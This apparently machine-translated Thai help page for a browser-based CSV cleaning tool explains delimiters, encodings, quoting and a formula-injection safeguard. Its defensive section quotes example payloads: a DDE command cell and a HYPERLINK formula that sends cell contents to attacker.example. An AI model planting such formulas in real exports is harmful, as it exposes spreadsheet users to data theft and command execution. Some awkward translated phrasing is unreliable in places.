ไทย

เครื่องมือล้างข้อมูล CSV

จัดการตัวคั่น ส่วนหัว แถวซ้ำ และการเข้ารหัสในไฟล์ส่งออกจากสเปรดชีต

เหตุใดการส่งออกถึงแตกหัก

ไฟล์ CSV ไม่ใช่รูปแบบจริงๆ แต่เป็นกลุ่มของแบบแผน ข้อมูลจำเพาะที่เครื่องมือส่วนใหญ่ชี้ไปที่ RFC 4180 เขียนด้วยภาษา 2005 เพื่ออธิบายว่าซอฟต์แวร์กำลังทำอะไรอยู่ แทนที่จะบอกว่าต้องทำอะไร ผลลัพธ์ก็คือ สองโปรแกรมสามารถขอรับการสนับสนุน CSV และยังคงไม่เห็นด้วยเกี่ยวกับตัวคั่น การสิ้นสุดบรรทัด รูปแบบการอ้างอิง และการเข้ารหัสอักขระ

ความประหลาดใจที่พบบ่อยที่สุดคือตัวคั่น ซอฟต์แวร์ที่จำหน่ายในประเทศที่ใช้เครื่องหมายจุลภาคเป็นตัวคั่นทศนิยม ซึ่งส่วนใหญ่อยู่ในทวีปยุโรป มักส่งออกไฟล์ที่คั่นด้วยเครื่องหมายอัฒภาค เนื่องจากเครื่องหมายจุลภาคไม่ว่างอยู่แล้ว ไฟล์เหล่านั้นยังคงลงท้ายด้วย .csv เปิดรายการหนึ่งในเครื่องมือที่ใช้เครื่องหมายจุลภาคและทุกแถวจะยุบเป็นคอลัมน์เดียว

ความประหลาดใจที่พบบ่อยเป็นอันดับสองคือการเข้ารหัส ไฟล์ที่บันทึกเป็น UTF-8 มักจะเริ่มต้นด้วยเครื่องหมายสามไบต์ที่มองไม่เห็นซึ่งเรียกว่าเครื่องหมายลำดับไบต์ Excel บน Windows ใช้เพื่อจดจำ UTF-8 เครื่องมือ Unix จำนวนมากไม่คาดคิด ดังนั้นเครื่องหมายจึงติดอยู่ที่ชื่อส่วนหัวแรก และคอลัมน์ชื่อ "id" ก็จะกลายเป็นคอลัมน์ชื่อ "id" โดยไม่มีการค้นหาใดจะตรงกัน

โหลดและตรวจสอบรูปร่าง

เลือกไฟล์ของคุณ การแยกวิเคราะห์เกิดขึ้นในเธรดของผู้ปฏิบัติงานในพื้นหลัง ดังนั้นแม้แต่การส่งออกจำนวนมากจะไม่หยุดเพจในขณะที่อ่าน

ปล่อยตัวคั่นไว้ที่ "ตรวจหาอัตโนมัติ" ในครั้งแรก การตรวจจับทำงานโดยการแยกวิเคราะห์ตัวอย่างด้วยตัวคั่นตัวเลือกแต่ละตัว และเลือกตัวอย่างที่ให้ผลลัพธ์เป็นรูปสี่เหลี่ยมผืนผ้าสม่ำเสมอที่สุด ซึ่งเป็นเหตุผลว่าทำไมจึงไม่ถูกหลอกด้วยเครื่องหมายจุลภาคที่อยู่ในช่องเครื่องหมายคำพูดของไฟล์ที่คั่นด้วยเครื่องหมายอัฒภาค หากการแสดงตัวอย่างยังคงดูผิดอยู่ ให้แทนที่ด้วยตนเอง

ตรวจสอบจำนวนแถวและคอลัมน์ใต้ตัวเลือกไฟล์ก่อนดำเนินการอย่างอื่น หากจำนวนคอลัมน์คือ 1 แสดงว่าตัวคั่นไม่ถูกต้อง หากจำนวนแถวมากกว่าที่คุณคาดไว้มาก ไฟล์นั้นอาจมีการขึ้นบรรทัดใหม่ที่ยกมาซึ่งเครื่องมืออื่นได้เสียหายไปแล้ว

  1. เลือกไฟล์ .csv, .tsv, .txt หรือ .json
  2. ยืนยันตัวคั่นที่ตรวจพบ หรือเลือกตัวคั่นด้วยตนเอง
  3. อ่านข้อมูลสรุปของแถว × คอลัมน์ และคำเตือนการแยกวิเคราะห์
  4. สแกนตารางแสดงตัวอย่างเพื่อหาคอลัมน์ที่มีการเปลี่ยนแปลง

ทำความเข้าใจคำเตือนการแยกวิเคราะห์

คำเตือนจะระบุชื่อหมายเลขแถว โดยนับวิธีที่คุณจะนับในโปรแกรมแก้ไขข้อความ เพื่อให้คุณสามารถดูปัญหาได้โดยตรง

คำเตือน "แถวที่ขาด" หมายความว่าแถวมีจำนวนเซลล์แตกต่างจากส่วนหัว เครื่องมือนี้จะไม่ละทิ้งเซลล์เหล่านั้น แถวสั้นจะเต็มไปด้วยช่องว่างและแถวยาวจะเก็บค่าพิเศษเอาไว้ เนื่องจากการลบข้อมูลของใครบางคนอย่างเงียบๆ เพื่อทำให้ตารางดูเป็นระเบียบเรียบร้อยเป็นสิ่งที่แย่ที่สุดที่เครื่องมือทำความสะอาดสามารถทำได้ แก้ไขแถวต้นทางหากเครื่องหมายจุลภาคเพิ่มเติมเกิดข้อผิดพลาด

คำเตือน "เครื่องหมายคำพูดที่ไม่ปิด" หมายความว่าเครื่องหมายคำพูดคู่ถูกเปิดและไม่เคยปิด ดังนั้นทุกสิ่งหลังจากนั้นจึงถูกอ่านเป็นช่องขนาดมหึมาช่องเดียว นี่เป็นความเสียหายที่แท้จริงในไฟล์ต้นฉบับเกือบทุกครั้ง และการแก้ไขที่ต้นทางมากกว่าที่ปลายน้ำก็คุ้มค่า

ทำความสะอาดแล้วส่งออก

ปุ่มล้างข้อมูลใช้กับทั้งตารางและแต่ละปุ่มสามารถยกเลิกได้ การลบแถวที่ซ้ำกันจะคงไว้ซึ่งการปรากฏครั้งแรก ดังนั้นแถวเดิมจึงยังคงอยู่ และลำดับของข้อมูลที่ยังคงอยู่จะไม่เปลี่ยนแปลง

การควบคุมคอลัมน์ช่วยให้คุณเปลี่ยนชื่อส่วนหัว เลือกคอลัมน์ที่จะส่งออก และจัดเรียงตามคอลัมน์ใดก็ได้ การเรียงลำดับจะตรวจสอบว่าคอลัมน์เป็นตัวเลขหรือไม่ โดยคอลัมน์ตัวเลขจะเรียงลำดับ 9 ก่อน 10 ในขณะที่คอลัมน์ข้อความจะเรียงลำดับ "10" ก่อน "9" ซึ่งโดยปกติแล้วจะเป็นสิ่งที่คุณต้องการในแต่ละกรณี

ก่อนที่จะดาวน์โหลด ให้ดูที่ตัวเลือกการส่งออก ตัวเลือกปลอดภัยสำหรับการฉีดสูตรจะเปิดไว้ตามค่าเริ่มต้น และอธิบายไว้ในคู่มือด้านล่าง ซึ่งเป็นการตั้งค่าเดียวที่ให้ผลด้านความปลอดภัยอย่างแท้จริง

ปัญหาในหนึ่งประโยค

ไฟล์ CSV ไม่มีโค้ด แต่แอปพลิเคชันสเปรดชีตจะถือว่าข้อความบางส่วนเป็นโค้ดอย่างมีความสุขทันทีที่เปิดไฟล์

Excel, Google Sheets และ LibreOffice Calc ล้วนตีความเซลล์ที่มีอักขระตัวแรกคือ =, +, - หรือ @ เป็นจุดเริ่มต้นของสูตร พฤติกรรมนั้นเป็นการกระทำโดยเจตนาและมีประโยชน์เมื่อคุณพิมพ์ด้วยตนเอง มันจะกลายเป็นช่องโหว่เมื่อเนื้อหาของเซลล์มาจากที่ที่คุณไม่ได้ควบคุม

วิธีการโจมตีได้ผลจริง

ลองนึกภาพเว็บฟอร์มที่รวบรวมชื่อ และผู้ดูแลระบบที่ส่งออกการส่งไปยัง CSV เป็นระยะๆ แล้วเปิดใน Excel ผู้โจมตีส่งชื่อที่ไม่ใช่ชื่อแต่เป็นสูตร

เพย์โหลดแบบคลาสสิกดูเหมือน =cmd|' /C คำนวณ'!A0 เมื่อเปิดการส่งออก Excel จะแยกวิเคราะห์เป็นคำสั่งการแลกเปลี่ยนข้อมูลแบบไดนามิกแทนที่จะเป็นข้อความ การกำหนดค่าที่เก่ากว่าและไม่ได้รับการติดตั้งจะพยายามเปิดโปรแกรมภายนอก เวอร์ชันใหม่จะแสดงพรอมต์คำเตือนก่อน — แต่พรอมต์เป็นเพียงสิ่งเดียวที่อยู่ระหว่างเพย์โหลดและการดำเนินการ และผู้ใช้จะคลิกผ่านพร้อมท์

การขโมยข้อมูลเป็นรูปแบบที่เงียบกว่าและไม่จำเป็นต้องใช้ DDE เลย =HYPERLINK("https://attacker.example/?d="&A1,"Click สำหรับรายละเอียด") สร้างลิงก์ที่มีเนื้อหาของเซลล์ใกล้เคียง ผู้ดูแลระบบที่อยากรู้อยากเห็นคลิกมัน และแถวของสเปรดชีตออกจากอาคารใน URL IMPORTXML ใน Google ชีตสามารถดึงข้อมูล URL ระยะไกลโดยไม่จำเป็นต้องคลิกเลย

จุดสำคัญคือผู้โจมตีไม่จำเป็นต้องเข้าถึงสเปรดชีต เครื่องมือส่งออก หรือเครื่องของผู้ดูแลระบบ พวกเขาต้องการเพียงช่องข้อความเดียวที่สามารถส่งออก CSV ได้ในที่สุด นี่คือเหตุผลว่าทำไมช่องโหว่นี้จึงมักถูกบันทึกกับแอปพลิเคชันที่สร้างไฟล์ ไม่ใช่สเปรดชีตที่เปิดขึ้นมา

เครื่องมือนี้ทำอะไรได้บ้าง

เมื่อเปิดใช้งาน "สูตรปลอดภัยในการฉีด" และเปิดใช้งานตามค่าเริ่มต้น ทุกเซลล์ที่มีอักขระตัวแรกคือ =, +, -, @, แท็บหรือตัวขึ้นบรรทัดใหม่จะมีเครื่องหมายอะพอสทรอฟีเดี่ยวนำหน้าก่อนที่จะเขียน

เครื่องหมายอะพอสทรอฟีคือเครื่องหมายสเปรดชีตทั่วไป ซึ่งหมายถึง "ถือว่าส่วนที่เหลือของเซลล์นี้เป็นข้อความตามตัวอักษร" Excel จะไม่แสดงในเซลล์ คุณจะเห็นเฉพาะในแถบสูตรเท่านั้น เพย์โหลดยังคงมองเห็นได้และยังสามารถกู้คืนได้ทั้งหมด แต่จะเฉื่อย

การส่งคืนแท็บและการขึ้นบรรทัดใหม่จะรวมอยู่ในรายการนั้นเนื่องจากเป็นช่องว่างที่ตัวกรองไร้เดียงสาบางตัวจะตัดแต่งก่อนที่จะตรวจสอบอักขระตัวแรก ซึ่งช่วยให้เพย์โหลดผ่านการตรวจสอบที่ดูเฉพาะดัชนีศูนย์ของสตริงที่ถูกตัดออกเท่านั้น การตรวจสอบอักขระตัวแรกแบบดิบจะปิดช่องว่างนั้น

  1. ทำเครื่องหมายที่ "Formula-injection-safe" ไว้ในแผงส่งออก
  2. ดาวน์โหลด CSV
  3. เปิดใน Excel หรือชีต: ตอนนี้เซลล์ที่มีลักษณะคล้ายสูตรจะแสดงเป็นข้อความธรรมดา

ตัวเลือกนี้มีค่าใช้จ่ายเท่าไร — โปรดอ่านข้อมูลนี้ก่อนที่จะปิด

การบรรเทาผลกระทบจะเปลี่ยนแปลงข้อมูลของคุณ และไม่มีเวอร์ชันใดที่ไม่เปลี่ยนแปลง หากเซลล์มี =SUM(A1:A2) จริงๆ เนื่องจากคุณต้องการสูตรที่ใช้งานได้ในเอาต์พุต การส่งออกที่ปลอดภัยจะเปลี่ยนเป็นข้อความตามตัวอักษร =SUM(A1:A2) และจะไม่มีการคำนวณ สเปรดชีตไม่สามารถแยกแยะสูตรที่คุณตั้งใจไว้จากสูตรของผู้โจมตีได้ และเราก็ทำได้เช่นกัน

นั่นเป็นเหตุผลว่าทำไมสิ่งนี้ถึงเป็นการสลับที่มองเห็นได้แทนที่จะเป็นพฤติกรรมที่เงียบ หากคุณกำลังส่งออกไฟล์ที่ควรจะประกอบด้วยสูตรที่ใช้งานจริง และคุณเชื่อถือทุกค่าในนั้น ให้ปิดตัวเลือกนี้โดยจงใจและทราบ หากข้อมูลมีสิ่งใดก็ตามที่มาจากผู้ใช้ แบบฟอร์ม ลูกค้า แบบสำรวจ หรือระบบภายนอก ให้ปล่อยไว้

การปรับแต่งอย่างหนึ่งก็คุ้มค่าที่จะรู้ การใช้งานที่ไร้เดียงสาจะทำเครื่องหมายทุกเซลล์ที่ขึ้นต้นด้วยเครื่องหมายลบ ซึ่งจะทำให้ตัวเลขติดลบทุกตัวในไฟล์: -42 กลายเป็น '-42 และหยุดเป็นตัวเลข ส่งผลให้ข้อมูลทางการเงินทั้งคอลัมน์เสียหายอย่างเงียบๆ เครื่องมือนี้ยกเว้นค่าที่แยกวิเคราะห์เป็นตัวเลขธรรมดา ดังนั้น -42, -3.14 และ -1e5 ผ่านไม่ได้แตะต้องในขณะที่ -1+1+cmd|' /C calc'!A0 ไม่มี เนื่องจากไม่ใช่ตัวเลข

หากคุณกำลังสร้างซอฟต์แวร์ที่ส่งออก CSV

หลบหนีจากการเขียน ไม่ใช่จากการอ่าน ไฟล์ที่คุณสร้างควรเปิดได้ทุกที่อย่างปลอดภัย เนื่องจากคุณไม่สามารถควบคุมได้ว่าแอปพลิเคชันใดจะเปิดหรืออายุของแอปพลิเคชันนั้น

อย่าใช้กล่องโต้ตอบคำเตือนของสเปรดชีตเป็นตัวควบคุม มันเป็นแนวป้องกันสุดท้ายที่มุ่งเป้าไปที่ผู้ใช้ที่กำลังพยายามทำงานให้เสร็จ และจะถูกไล่ออกเป็นประจำ

อย่าพยายามแก้ไขปัญหานี้ด้วยการลบอักขระที่เป็นอันตรายออก การลบส่วนนำหน้า = ทำให้ข้อมูลที่ถูกต้องเสียหายและยังคงพลาดเพย์โหลดที่ขึ้นต้นด้วยช่องว่าง การเติมคำนำหน้าด้วยเครื่องหมายอะพอสทรอฟีจะรักษาค่าดั้งเดิมไว้ทุกประการในขณะที่ลบความสามารถในการดำเนินการออก ซึ่งเป็นเหตุผลว่าทำไมจึงเป็นวิธีที่แนะนำ

กฎการอ้างอิง

ช่องจะต้องอยู่ในเครื่องหมายคำพูดคู่เมื่อมีตัวคั่น เครื่องหมายคำพูดคู่ หรือการขึ้นบรรทัดใหม่ ภายในช่องที่ยกมา เครื่องหมายคำพูดคู่ตามตัวอักษรจะถูกเขียนสองครั้ง: "she says ""hi""" เป็นช่องหนึ่งที่มีเธอพูดว่า "hi"

เครื่องมือนี้เสนอราคาน้อยที่สุดในการส่งออก: ฟิลด์จะถูกรวมเมื่อจำเป็นเท่านั้น นั่นหมายถึงไฟล์ที่มีเครื่องหมายคำพูดทุกช่องในการป้อนข้อมูลอาจมีเครื่องหมายคำพูดน้อยลง ข้อมูลเหมือนกัน - "Ada" และ Ada เป็นค่าเดียวกัน - แต่ไบต์ต่างกัน หากคุณต้องการอ้างอิงทุกฟิลด์ ให้ใช้ตัวเลือก "อ้างอิงทุกฟิลด์"

ช่องที่มีช่องว่างนำหน้าหรือต่อท้ายที่สื่อความหมายจะถูกยกมาเสมอ เนื่องจากตัวแยกวิเคราะห์หลายรายจะตัดช่องว่างที่ไม่มีเครื่องหมายคำพูดออก และอาจทำให้ค่าของคุณเปลี่ยนแปลงได้

การสิ้นสุดบรรทัด

RFC 4180 ระบุ CRLF ระหว่างบันทึก และนั่นคือสิ่งที่เครื่องมือนี้เขียนตามค่าเริ่มต้น เนื่องจากเป็นตัวเลือกที่เข้ากันได้อย่างกว้างขวางที่สุดในเครื่องมือ Windows และ Unix

ในการป้อนข้อมูล ทั้งสามแบบแผนได้รับการยอมรับ: CRLF, LF และ lone CR การขึ้นบรรทัดใหม่ภายในฟิลด์ที่ยกมาจะถูกรักษาไว้เป็นส่วนหนึ่งของค่า และไม่ได้เริ่มแถวใหม่

จะเกิดอะไรขึ้นกับข้อมูลของคุณ

เบราว์เซอร์จะอ่านไฟล์ของคุณ แยกวิเคราะห์ใน Web Worker บนอุปกรณ์ของคุณ แปลงในหน่วยความจำ และเขียนกลับโดยกลไกการดาวน์โหลดของเบราว์เซอร์เอง มันไม่เคยถ่ายทอด

ไม่มีสิ่งใดถูกเก็บไว้ ไม่มีการบันทึกอัตโนมัติ ไม่มีฐานข้อมูลในเครื่อง และไม่มีประวัติที่สามารถโหลดหน้าซ้ำได้ การปิดแท็บจะทิ้งทุกอย่าง "ล้างข้อมูล" จะทำเช่นเดียวกันทันที

การวิเคราะห์และการโฆษณาถูกปิดใช้งานในผลิตภัณฑ์นี้ในทุกสภาพแวดล้อม ไม่มีการรวบรวมข้อมูลการใช้งานเกี่ยวกับไฟล์ของคุณ — ไม่ใช่ชื่อ ขนาด เนื้อหา หรือชื่อคอลัมน์ — จะถูกเก็บรวบรวม เนื่องจากไม่มีการส่งสิ่งใดไปที่ไหนเลย

คำถามที่พบบ่อย

สเปรดชีตของฉันถูกอัปโหลดทุกที่หรือไม่
ไม่ เบราว์เซอร์ของคุณอ่านไฟล์นี้ แยกวิเคราะห์ใน Web Worker บนอุปกรณ์ของคุณ และเขียนกลับโดยเบราว์เซอร์ของคุณ ไม่มีส่วนประกอบเซิร์ฟเวอร์ในเครื่องมือนี้และไม่มีจุดสิ้นสุดสำหรับข้อมูลที่จะส่งไป คุณสามารถยืนยันสิ่งนี้ได้โดยเปิดแผงเครือข่ายของเบราว์เซอร์และเฝ้าดูแผงว่างเปล่าในขณะที่คุณทำงาน
เหตุใดไฟล์ของฉันจึงเปิดเป็นคอลัมน์เดียว
ตัวคั่นไม่ถูกต้อง ตั้งค่าด้วยตนเอง — อัฒภาคเป็นคำตอบปกติสำหรับการส่งออกจากซอฟต์แวร์ของยุโรป และแท็บสำหรับไฟล์ที่เป็น TSV จริงๆ โดยมีนามสกุล .csv
ตัวเลือก UTF-8 BOM มีไว้เพื่ออะไร
Excel บน Windows ใช้เครื่องหมายลำดับไบต์เพื่อตรวจสอบว่าไฟล์นั้นเป็น UTF-8 หากไม่มี อักขระเน้นเสียงและสคริปต์ที่ไม่ใช่ภาษาละตินสามารถปรากฏเป็น mojibake เมื่อดับเบิลคลิกไฟล์ เปิดใช้งานหากไฟล์ถูกกำหนดไว้สำหรับ Excel ไม่ต้องสนใจหากไฟล์ฟีดสคริปต์หรือการนำเข้าฐานข้อมูล เนื่องจากตัวแยกวิเคราะห์ที่เข้มงวดบางรายถือว่าเครื่องหมายเป็นข้อมูล
การลบรายการที่ซ้ำกันจะเก็บสำเนาแรกหรือสำเนาสุดท้ายไว้หรือไม่
ครั้งแรก. แถวเดิมจะยังคงอยู่ในตำแหน่งเดิมและสำเนาในภายหลังจะถูกเอาออก ดังนั้นลำดับของข้อมูลที่คุณเก็บไว้จึงไม่เปลี่ยนแปลง
ฉันสามารถแปลงระหว่าง CSV และ JSON ได้หรือไม่
ใช่ทั้งสองทิศทาง โหลดไฟล์ .json ที่มีอาร์เรย์ของอ็อบเจ็กต์ และจะกลายเป็นตาราง ส่งออกตารางใด ๆ เป็น JSON ชื่อคอลัมน์ที่ซ้ำกันจะได้รับส่วนต่อท้ายเป็นตัวเลขแทนที่จะเขียนทับกัน และค่าที่ซ้อนกันจะถูกทำให้เป็นอนุกรมเป็นข้อความ JSON ภายในเซลล์
สามารถจัดการไฟล์ได้ขนาดไหน?
ขีดจำกัดตั้งไว้ที่ 50 MB ข้อจำกัดที่แท้จริงคือหน่วยความจำของอุปกรณ์ เนื่องจากไฟล์ทั้งหมดถูกเก็บไว้ในแท็บ โทรศัพท์จะต้องดิ้นรนก่อนที่แล็ปท็อปจะมีปัญหา การแยกวิเคราะห์ทำงานในผู้ปฏิบัติงาน ดังนั้นอินเทอร์เฟซยังคงตอบสนอง แต่ไฟล์ขนาดใหญ่มากยังคงต้องใช้เวลา

สิ่งที่เครื่องมือนี้จะไม่ทำ